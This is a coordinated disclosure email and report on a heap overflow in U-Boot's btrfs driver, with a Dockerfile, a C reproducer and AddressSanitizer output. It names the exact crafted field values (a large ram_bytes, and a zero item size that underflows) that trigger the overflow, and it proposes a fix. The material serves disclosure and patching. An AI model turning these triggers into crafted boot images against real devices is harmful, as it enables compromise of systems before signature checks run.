Hello U-Boot maintainers,
I'd like to report a High-severity security issue in U-Boot
(https://github.com/u-boot/u-boot /
https://git.u-boot-project.org/u-boot/u-boot) related to possible heap overflow
in U-Boot's btrfs driver with a crafted image.
I have attached 3 files with this email as described below.
1) report.md: A full description of the vulnerability and how to reproduce it,
together with suggested fix of the issue.
2) Dockerfile: A Dockerfile for demonstrating the issue.
3) driver.c: Work with the Dockerfile to demonstrate the issue.
Attribution
-----------
Please attribute Claude and Ada Logics. This issue was found by Anthropic from
using agents to study security of open source projects, and I am from Ada
Logics helping validate the found issues and creating the report manually and
notify the maintainers.
Disclosure
----------
This report follows a 90-day coordinated disclosure deadline. I'm happy to
coordinate on the exact timing and to provide any further detail you need.
Kind regards,
Arthur Chan
ADA Logics Ltd is registered in England. No: 11624074.
Registered office: 266 Banbury Road, Post Box 292,
OX2 7DL, Oxford, Oxfordshire , United Kingdom
# syntax=docker/dockerfile:1
FROM ubuntu:24.04
ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update && apt-get install -y --no-install-recommends \
ca-certificates git gcc libc6-dev libasan8 libubsan1 \
&& rm -rf /var/lib/apt/lists/*
ARG PIN=ece349ade2973e220f524ce59e59711cc919263f
# Pin the exact upstream commit and refuse to build against anything else.
RUN git clone --filter=blob:none https://github.com/u-boot/u-boot.git /u-boot \
&& git -C /u-boot fetch --depth 1 origin ${PIN} \
&& git -C /u-boot checkout FETCH_HEAD \
&& test "$(git -C /u-boot rev-parse HEAD)" = "${PIN}" \
&& echo "HEAD matches PIN ${PIN}"
WORKDIR /poc
COPY driver.c ./
# Pull the vulnerable code out of the pinned U-Boot tree VERBATIM and write it
# to generated.c, which driver.c #includes. The functions that overflow are the
# real upstream lines, not a paraphrase. generated.c is produced in-image here
# at build time and is not a committed file.
RUN bash <<'SCRIPT'
set -euo pipefail
UB=/u-boot
CT=$UB/fs/btrfs/ctree.h
TREE=$UB/fs/btrfs/kernel-shared/btrfs_tree.h
IO=$UB/fs/btrfs/extent-io.c
INODE=$UB/fs/btrfs/inode.c
LE=$UB/include/linux/unaligned/le_byteshift.h
COMPAT=$UB/fs/btrfs/compat.h
OUT=generated.c
: > "$OUT"
# print from the first line matching $2 in file $1 through the first
# following line that begins with a closing brace (function/struct/macro end).
emit_block() {
awk -v re="$2" 'BEGIN{p=0} $0 ~ re {p=1} p{print} p && /^}/{exit}' "$1"
echo
}
# print the single line matching $2
emit_line() {
awk -v re="$2" '$0 ~ re {print; exit}' "$1"
}
# print the line matching $2 plus the following line (two-line statements)
emit_line2() {
awk -v re="$2" '$0 ~ re {print; getline; print; exit}' "$1"
}
{
echo "/* === extracted verbatim from U-Boot @ $(git -C $UB rev-parse HEAD) ===
*/"
echo "/* --- size constants (btrfs_tree.h) --- */"
emit_line "$TREE" '^#define BTRFS_CSUM_SIZE '
emit_line "$TREE" '^#define BTRFS_FSID_SIZE '
emit_line "$TREE" '^#define BTRFS_UUID_SIZE '
echo
echo "/* --- on-disk structures (btrfs_tree.h) --- */"
emit_block "$TREE" '^struct btrfs_disk_key \{'
emit_block "$TREE" '^struct btrfs_header \{'
emit_block "$TREE" '^struct btrfs_item \{'
emit_block "$TREE" '^struct btrfs_leaf \{'
emit_block "$TREE" '^struct btrfs_file_extent_item \{'
emit_block "$TREE" '^enum \{' # BTRFS_FILE_EXTENT_INLINE
...
emit_block "$TREE" '^enum btrfs_compression_type \{'
echo "/* --- unaligned little-endian readers (le_byteshift.h) --- */"
emit_block "$LE" '^static inline u16 __get_unaligned_le16\('
emit_block "$LE" '^static inline u32 __get_unaligned_le32\('
emit_block "$LE" '^static inline u64 __get_unaligned_le64\('
emit_block "$LE" '^static inline u16 get_unaligned_le16\('
emit_block "$LE" '^static inline u32 get_unaligned_le32\('
emit_block "$LE" '^static inline u64 get_unaligned_le64\('
echo "/* --- 8-bit reader (btrfs compat.h) --- */"
emit_line "$COMPAT" '^#define get_unaligned_le8'
echo
echo "/* --- accessor generator macro (ctree.h) --- */"
emit_block "$CT" '^#define BTRFS_SETGET_FUNCS\('
echo "/* --- accessor instantiations (ctree.h) --- */"
emit_line "$CT" '^BTRFS_SETGET_FUNCS\(item_offset,'
emit_line "$CT" '^BTRFS_SETGET_FUNCS\(item_size,'
emit_line "$CT" '^BTRFS_SETGET_FUNCS\(file_extent_type,'
emit_line2 "$CT" '^BTRFS_SETGET_FUNCS\(file_extent_ram_bytes,'
emit_line2 "$CT" '^BTRFS_SETGET_FUNCS\(file_extent_compression,'
echo
echo "/* --- item / inline helpers (ctree.h) --- */"
emit_block "$CT" '^static inline unsigned long btrfs_item_nr_offset\('
emit_block "$CT" '^static inline struct btrfs_item \*btrfs_item_nr\('
emit_block "$CT" '^static inline unsigned long btrfs_file_extent_inline_start\('
emit_block "$CT" '^static inline u32 btrfs_file_extent_inline_item_len\('
echo "/* --- read_extent_buffer (extent-io.c) --- */"
emit_block "$IO" '^void read_extent_buffer\('
echo "/* --- the vulnerable function (inode.c) --- */"
emit_block "$INODE" '^int btrfs_read_extent_inline\('
} >> "$OUT"
echo "=== generated.c (extracted from pinned tree) ==="
cat "$OUT"
echo "=== end generated.c ==="
SCRIPT
RUN gcc -O0 -g -fno-omit-frame-pointer \
-fsanitize=address,undefined \
-o poc driver.c \
&& echo "build ok"
ENV ASAN_OPTIONS=detect_leaks=0:abort_on_error=1:symbolize=1
ENV UBSAN_OPTIONS=print_stacktrace=1
CMD bash -c '\
echo "##### pin #####"; \
git -C /u-boot rev-parse HEAD; \
echo; echo "##### NEGATIVE CONTROL (sane sizes) #####"; \
./poc clean; \
echo; echo "##### POSITIVE 1: unchecked ram_bytes (compressed arm) #####"; \
./poc ram || true; \
echo; echo "##### POSITIVE 2: inline item length u32 underflow
(uncompressed arm) #####"; \
./poc len || true; \
echo "##### done #####"'
/*
* Focused reproducer for a heap buffer overflow in U-Boot's btrfs inline
* extent reader.
*
* The vulnerable function btrfs_read_extent_inline(), the copy primitive
* read_extent_buffer(), the item-length helper and every accessor they use
* are pulled VERBATIM from the pinned U-Boot tree (see generated.c, produced
* by the extraction step in the Dockerfile at build time). This driver only
* supplies the surrounding
* environment: a real leaf block holding one crafted EXTENT_DATA item, a
* destination buffer sized like the real caller's (one sector), and a stand-in
* for btrfs_decompress() that models a successful decompression of the
* attacker-controlled compressed bytes. The copy that overflows is the real
* upstream line in every case.
*
* unique tag: poc-btrfs
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <errno.h>
#include <stddef.h>
/* Kernel-style fixed width types used by the extracted code. */
typedef uint8_t u8;
typedef uint16_t u16;
typedef uint32_t u32;
typedef uint64_t u64;
typedef uint8_t __u8;
typedef uint16_t __u16;
typedef uint32_t __u32;
typedef uint64_t __u64;
typedef uint16_t __le16;
typedef uint32_t __le32;
typedef uint64_t __le64;
/*
* Environment types. btrfs_read_extent_inline() only touches ->data on the
* extent_buffer and ->nodes/->slots on the path, so these mirror just those
* fields; the on-disk structures the parser actually decodes are the real
* ones from generated.c.
*/
struct btrfs_fs_info;
struct extent_buffer {
u64 start;
u32 len;
struct btrfs_fs_info *fs_info;
char *data;
};
#define BTRFS_MAX_LEVEL 8
struct btrfs_path {
struct extent_buffer *nodes[BTRFS_MAX_LEVEL];
int slots[BTRFS_MAX_LEVEL];
u8 lowest_level;
};
/* Forward declaration; real callers reach the genuine zlib/lzo/zstd path. */
u32 btrfs_decompress(u8 type, const char *c, u32 clen, char *d, u32 dlen);
/* The verbatim upstream code. */
#include "generated.c"
/*
* Stand-in for btrfs_decompress(). The real function inflates the attacker's
* compressed bytes into dbuf. Its result only has to be >= 0 for the
* vulnerable memcpy(dest, dbuf, dsize) to run, and returning fewer bytes than
* dsize also exercises the real zero-fill branch just above it. We copy what
* we have, exactly like the upstream BTRFS_COMPRESS_NONE arm does.
*/
u32 btrfs_decompress(u8 type, const char *c, u32 clen, char *d, u32 dlen)
{
u32 n = clen < dlen ? clen : dlen;
memcpy(d, (void *)c, n);
return n;
}
/* Geometry of a real btrfs metadata leaf and the caller's sector buffer. */
#define LEAF_SIZE 16384u
#define SECTOR_SIZE 4096u
#define DATA_OFF 512u /* where the item's payload sits in the leaf */
/*
* Build a leaf that holds exactly one EXTENT_DATA item describing an inline
* extent, then run the real btrfs_read_extent_inline() against a sector-sized
* destination, just like read_and_truncate_page() does upstream.
*/
static void run(const char *name, int compression, u64 ram_bytes, u32 item_size)
{
char *leaf = calloc(1, LEAF_SIZE);
char *dest = malloc(SECTOR_SIZE); /* == malloc_cache_aligned(sectorsize) */
struct extent_buffer eb;
struct btrfs_path path;
struct btrfs_file_extent_item *fi;
struct btrfs_item *it;
unsigned long items_base, item0, fi_abs;
int ret;
memset(&eb, 0, sizeof(eb));
memset(&path, 0, sizeof(path));
eb.data = leaf;
eb.len = LEAF_SIZE;
/* item[0] lives right after the header; its payload at DATA_OFF. */
items_base = offsetof(struct btrfs_leaf, items);
item0 = items_base; /* slot 0 item record */
fi_abs = items_base + DATA_OFF; /* item payload (the fi) */
/* Fill in the item record: offset is measured from the data area base. */
it = (struct btrfs_item *)(leaf + item0);
{
u32 off = DATA_OFF;
memcpy((char *)it + offsetof(struct btrfs_item, offset), &off, sizeof(off));
memcpy((char *)it + offsetof(struct btrfs_item, size), &item_size, sizeof(item_size));
}
/* Fill in the on-disk file extent item (the attacker-controlled fields). */
{
char *f = leaf + fi_abs;
u8 type = 0; /* BTRFS_FILE_EXTENT_INLINE */
u8 comp = (u8)compression;
memcpy(f + offsetof(struct btrfs_file_extent_item, ram_bytes),
&ram_bytes, sizeof(ram_bytes));
memcpy(f + offsetof(struct btrfs_file_extent_item, compression),
&comp, sizeof(comp));
memcpy(f + offsetof(struct btrfs_file_extent_item, type),
&type, sizeof(type));
}
/* fi is an offset-valued pointer, exactly as btrfs_item_ptr() returns. */
fi = (struct btrfs_file_extent_item *)fi_abs;
path.nodes[0] = &eb;
path.slots[0] = 0;
printf("[%s] compression=%d ram_bytes=0x%llx item_size=%u "
"dest=malloc(%u)\n",
name, compression, (unsigned long long)ram_bytes, item_size,
SECTOR_SIZE);
fflush(stdout);
ret = btrfs_read_extent_inline(&path, fi, dest);
printf("[%s] returned %d, no overflow detected\n", name, ret);
fflush(stdout);
free(leaf);
free(dest);
}
int main(int argc, char **argv)
{
const char *mode = argc > 1 ? argv[1] : "clean";
printf("poc-btrfs mode=%s\n", mode);
fflush(stdout);
if (!strcmp(mode, "clean")) {
/* Negative control: both arms with sane, in-bounds sizes. */
run("clean-uncompressed", 0 /*NONE*/, 0x800, 21 + 0x800);
run("clean-compressed", 1 /*ZLIB*/, 0x800, 21 + 64);
} else if (!strcmp(mode, "ram")) {
/* Positive: compressed arm, unchecked ram_bytes -> 64 KiB into 4 KiB. */
run("compressed-ram", 1 /*ZLIB*/, 0x10000, 21 + 64);
} else if (!strcmp(mode, "len")) {
/* Positive: uncompressed arm, item_size 0 -> u32 underflow -> wild copy. */
run("itemlen-underflow", 0 /*NONE*/, 0, 0);
} else {
fprintf(stderr, "unknown mode %s\n", mode);
return 2;
}
return 0;
}
# A crafted btrfs image overflows a sector-sized heap buffer in U-Boot's inline extent reader before any boot signature is checked
U-Boot's btrfs driver reads an inline file extent into a destination buffer that the caller sizes at exactly one filesystem sector (about 4 KiB), yet it copies as many bytes as two attacker-controlled on-disk fields say to, neither of which it validates. When `btrfs_read_extent_inline()` handles a compressed inline extent it uses `ram_bytes`, taken verbatim from the extent item, as the length of a `memcpy()` into that sector buffer, so a value such as 0x10000 writes 64 KiB into the 4 KiB allocation. When it handles an uncompressed inline extent it computes the copy length as `btrfs_item_size(...) - 21` with no lower bound, so an item of size zero underflows the unsigned length to 0xFFFFFFEB and turns the copy into a roughly 4 GiB wild transfer. U-Boot's btrfs is default enabled (`CONFIG_CMD_BTRFS=y` in `sandbox_defconfig` and around seventeen board defconfigs), and the parser runs from ordinary `load`, `ls` and `btrsubvol`/`btrls` handling, meaning an attacker who supplies the filesystem image on removable boot media triggers the overflow while the file is being read, well before any payload signature is verified. The behaviour is confirmed below by an AddressSanitizer reproducer that drives the real extracted functions. The leaf that carries the crafted item passes `btrfs_check_leaf()` because that checker enforces no per item type minimum, and the later fix `ee1941e4fec` does not cover this copy.
## Root cause
An inline extent is read by `btrfs_read_extent_inline()`. The uncompressed arm derives the copy length from the item size and reads that many bytes straight into the caller's `dest`; the compressed arm reads `ram_bytes` out of the extent item and, after decompression, copies that many bytes into `dest`. Neither length is bounded against the size of `dest`.
https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/fs/btrfs/inode.c#L361-L409
```c
int btrfs_read_extent_inline(struct btrfs_path *path,
struct btrfs_file_extent_item *fi, char *dest)
{
struct extent_buffer *leaf = path->nodes[0];
int slot = path->slots[0];
......
csize = btrfs_file_extent_inline_item_len(leaf, btrfs_item_nr(slot));
if (btrfs_file_extent_compression(leaf, fi) == BTRFS_COMPRESS_NONE) {
/* Uncompressed, just read it out */
read_extent_buffer(leaf, dest,
btrfs_file_extent_inline_start(fi),
csize);
return csize;
}
/* Compressed extent, prepare the compressed and data buffer */
dsize = btrfs_file_extent_ram_bytes(leaf, fi);
......
if (ret < dsize)
memset(dbuf + ret, 0, dsize - ret);
memcpy(dest, dbuf, dsize);
ret = dsize;
```
`dsize` is `ram_bytes` read directly from the on-disk extent item, with no comparison to the size of `dest`. `csize` is the inline item length, computed as the item size minus the fixed inline header offset (21 bytes), with no lower bound, so an item size of zero wraps the unsigned result to 0xFFFFFFEB (4294967275).
https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/fs/btrfs/ctree.h#L1148-L1154
```c
static inline u32 btrfs_file_extent_inline_item_len(struct extent_buffer *eb,
struct btrfs_item *e)
{
unsigned long offset;
offset = offsetof(struct btrfs_file_extent_item, disk_bytenr);
return btrfs_item_size(eb, e) - offset;
}
```
The uncompressed copy is a plain `memcpy()` of `len` bytes with no clamping, so the underflowed `csize` becomes the copy length directly.
https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/fs/btrfs/extent-io.c#L752-L756
```c
void read_extent_buffer(const struct extent_buffer *eb, void *dst,
unsigned long start, unsigned long len)
{
memcpy(dst, eb->data + start, len);
}
```
The destination is the caller's buffer, and the caller allocates exactly one sector for it. `read_and_truncate_page()` (the default path for the leading and trailing portions of any read) allocates `fs_info->sectorsize` bytes, then calls `btrfs_read_extent_inline()` with that buffer.
https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/fs/btrfs/inode.c#L636-L649
```c
buf = malloc_cache_aligned(fs_info->sectorsize);
if (!buf)
return -ENOMEM;
extent_type = btrfs_file_extent_type(leaf, fi);
if (extent_type == BTRFS_FILE_EXTENT_INLINE) {
ret = btrfs_read_extent_inline(path, fi, buf);
if (ret < 0) {
free(buf);
return ret;
}
memcpy(dest, buf + page_off, min3(page_len, ret, len));
free(buf);
return len;
}
```
Nothing on the read path rejects the crafted item. `btrfs_check_leaf()` is invoked while the leaf is read, but its only per item validation is that item ends stay within the leaf and that offsets and keys are ordered; there is no per item type minimum size and no bound on `ram_bytes`, so both a zero length EXTENT_DATA item and one advertising a 64 KiB `ram_bytes` are accepted.
https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/fs/btrfs/ctree.c#L197-L208
```c
for (i = 0; i < nritems; i++) {
if (btrfs_item_end_nr(buf, i) >
BTRFS_LEAF_DATA_SIZE(fs_info)) {
btrfs_item_key(buf, &key, 0);
ret = BTRFS_TREE_BLOCK_INVALID_OFFSETS;
fprintf(stderr, "slot end outside of leaf %llu > %llu\n",
......
goto fail;
}
}
```
The adjacent fix `ee1941e4fec ("fs: btrfs: fix out of bounds write")` clamps only the later copy out of `buf` into the true caller buffer (the `min3(page_len, ret, len)` above), and returns early on a negative result. It does not touch the earlier copies performed inside `btrfs_read_extent_inline()` into `dest`/`buf` itself, which are the copies that overflow here, so the issue is not fixed at this commit.
## Proof of Concept
The reproducer pulls `btrfs_read_extent_inline()`, `read_extent_buffer()`, `btrfs_file_extent_inline_item_len()` and every accessor and on-disk structure they use out of the pinned tree verbatim at build time with `awk` (the extraction step is inlined in the `Dockerfile`, which emits `generated.c`), and compiles them under AddressSanitizer and UBSan. The driver supplies only the surrounding environment: a real 16 KiB leaf block holding one crafted EXTENT_DATA item, a `dest` allocated at one sector (4096 bytes) exactly as `read_and_truncate_page()` does, and a stand-in for `btrfs_decompress()` that models a successful inflate of the attacker's compressed bytes (its return value only needs to be non negative for the vulnerable copy to run; the copy that overflows is the real upstream line). The build asserts that the checked out `HEAD` equals the pin and refuses to proceed otherwise. The negative control uses in bounds sizes on both arms; the first positive sets `ram_bytes` to 0x10000 on the compressed arm; the second sets the inline item size to zero on the uncompressed arm. The download command that would reach this code in a real boot (`host bind` then `load`) is cited, not performed; the extracted parser is driven directly.
```
docker build -t poc-btrfs . && docker run --rm poc-btrfs
```
### Result
```
##### pin #####
ece349ade2973e220f524ce59e59711cc919263f
##### NEGATIVE CONTROL (sane sizes) #####
poc-btrfs mode=clean
[clean-uncompressed] compression=0 ram_bytes=0x800 item_size=2069 dest=malloc(4096)
[clean-uncompressed] returned 2048, no overflow detected
[clean-compressed] compression=1 ram_bytes=0x800 item_size=85 dest=malloc(4096)
[clean-compressed] returned 2048, no overflow detected
##### POSITIVE 1: unchecked ram_bytes (compressed arm) #####
poc-btrfs mode=ram
[compressed-ram] compression=1 ram_bytes=0x10000 item_size=85 dest=malloc(4096)
=================================================================
==10==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x521000002500 at pc 0x7f7bebcc7303 bp 0x7ffdf9e8f000 sp 0x7ffdf9e8e7a8
WRITE of size 65536 at 0x521000002500 thread T0
#0 0x7f7bebcc7302 in memcpy ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors_memintrinsics.inc:115
#1 0x557ef7d002f6 in btrfs_read_extent_inline /poc/generated.c:241
#2 0x557ef7d00c52 in run /poc/driver.c:142
#3 0x557ef7d00f03 in main /poc/driver.c:163
#4 0x7f7beb3ce1c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#5 0x7f7beb3ce28a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#6 0x557ef7cff3a4 in _start (/poc/poc+0x43a4) (BuildId: 5a4c713ee0fd8d77fec3c08d85693f78aa008881)
0x521000002500 is located 0 bytes after 4096-byte region [0x521000001500,0x521000002500)
allocated by thread T0 here:
#0 0x7f7bebcc99c7 in malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:69
#1 0x557ef7d004dc in run /poc/driver.c:92
#2 0x557ef7d00f03 in main /poc/driver.c:163
#3 0x7f7beb3ce1c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#4 0x7f7beb3ce28a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#5 0x557ef7cff3a4 in _start (/poc/poc+0x43a4) (BuildId: 5a4c713ee0fd8d77fec3c08d85693f78aa008881)
SUMMARY: AddressSanitizer: heap-buffer-overflow ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors_memintrinsics.inc:115 in memcpy
==10==ABORTING
bash: line 1: 10 Aborted (core dumped) ./poc ram
##### POSITIVE 2: inline item length u32 underflow (uncompressed arm) #####
poc-btrfs mode=len
[itemlen-underflow] compression=0 ram_bytes=0x0 item_size=0 dest=malloc(4096)
=================================================================
==11==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x529000004200 at pc 0x7fb293a8042e bp 0x7ffdc6ce86e0 sp 0x7ffdc6ce7e88
READ of size 4294967275 at 0x529000004200 thread T0
#0 0x7fb293a8042d in memcpy ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors_memintrinsics.inc:115
#1 0x56229ce5300d in read_extent_buffer /poc/generated.c:195
#2 0x56229ce53177 in btrfs_read_extent_inline /poc/generated.c:213
#3 0x56229ce53c52 in run /poc/driver.c:142
#4 0x56229ce53f56 in main /poc/driver.c:166
#5 0x7fb2931871c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#6 0x7fb29318728a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#7 0x56229ce523a4 in _start (/poc/poc+0x43a4) (BuildId: 5a4c713ee0fd8d77fec3c08d85693f78aa008881)
0x529000004200 is located 0 bytes after 16384-byte region [0x529000000200,0x529000004200)
allocated by thread T0 here:
#0 0x7fb293a82340 in calloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:77
#1 0x56229ce534cb in run /poc/driver.c:91
#2 0x56229ce53f56 in main /poc/driver.c:166
#3 0x7fb2931871c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#4 0x7fb29318728a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#5 0x56229ce523a4 in _start (/poc/poc+0x43a4) (BuildId: 5a4c713ee0fd8d77fec3c08d85693f78aa008881)
SUMMARY: AddressSanitizer: heap-buffer-overflow ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors_memintrinsics.inc:115 in memcpy
==11==ABORTING
bash: line 1: 11 Aborted (core dumped) ./poc len
##### done #####
```
The negative control returns cleanly on both arms: with `ram_bytes` and the inline length at or below the sector size, the copies stay inside the 4096 byte destination. The first positive aborts with a 65536 byte `WRITE` landing zero bytes past the 4096 byte `dest`, at the real `memcpy(dest, dbuf, dsize)` inside `btrfs_read_extent_inline()`, driven entirely by the unchecked `ram_bytes`. The second positive aborts with a `READ of size 4294967275` (0xFFFFFFEB, that is 2^32 minus 21) inside `read_extent_buffer()` called from the uncompressed arm, the direct result of the `item_size - 21` underflow, which would then have written the same wild length into `dest`. Both positives aborted under AddressSanitizer. Preconditions: the attacker controls the btrfs image bytes (removable media, a virtual disk, or any block device U-Boot is pointed at), and the target executes a read that touches the crafted inline extent, which is the normal `load`/`ls` path; no authentication or signature check precedes the parse.
## Mitigation
Validate the inline extent geometry against `fs_info->sectorsize` before either copy in `btrfs_read_extent_inline()`. Reject the item unless the inline item length is at least `offsetof(struct btrfs_file_extent_item, disk_bytenr)` (so the subtraction cannot underflow) and the resulting payload length, together with `ram_bytes` on the compressed arm, is no larger than one sector. This is the check that Linux performs in its tree checker `check_extent_data_item()`, which bounds the inline item size and rejects extents whose `ram_bytes` exceeds the sector size; porting that per item type validation into `btrfs_check_leaf()`, or adding the equivalent bound at the head of `btrfs_read_extent_inline()`, closes both facets.
## Attribution
This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged manually with manual report writing by Ada Logics in collaboration with Anthropic Research.